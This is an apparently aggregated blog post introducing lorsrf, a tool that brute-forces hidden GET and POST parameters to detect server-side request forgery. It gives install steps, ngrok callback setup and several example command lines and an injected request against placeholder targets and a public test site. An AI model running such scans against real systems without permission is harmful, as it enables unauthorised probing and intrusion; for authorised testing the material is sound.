lorsrf – SSRF parameter bruteforce

Stella Sebastian
Posted by Stella Sebastian January 18, 2021

superior_hosting_service

lorsrf
lorsrf

Bruteforcing on Hidden parameters to find SSRF vulnerability using GET and POST Methods

install

  • download it
➜  git clone https://github.com/knassar702/lorsrf
➜  cd lorsrf
➜  sudo pip3 install requests flask

Steps :

Ngrok

  • run your ngrok ./ngrok http 9090
  • run server.py script and add ngrok port python3 server.py 9090
  • run lorsrf.py and add ngrok host using -s option

requestbin.com

How can i use it .?

cat YOUR_LIST.txt | python3 lorsrf.py -t URL_TARGET -s YOUR_HOST -w wordlist.txt

Examples :

$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io
  • add threads
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io --threads=50
  • add timeout
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io --timeout=4
  • add cookies
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io -c 'user=5&PHPSESSION=5232'
  • add headers from text file
$ cat headers.txt
Cookie: test=1
Auth: Basic TG9yU3JmCg==

$ cat parameters.txt | python3 lorsrf.py -f headers.txt -s 'http://myhost.com' -t 'http://ssrf.hack.com'

---------------------
GET /?parameter={YOUR_HOST} HTTP/1.1
Host: targer.com
Cookie: test=1
Auth: Basic TG9yU3JmCg==
  • Follow redirects
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io -r

Testing

python3 lorsrf.py -t 'http://testphp.vulnweb.com/showimage.php' -s 'https://YOUR_HOST.com' -w parameters.txt

Demo

lorsrf demo
lorsrf-demo
Download
SSH Tunnel To Remote Server

Tags: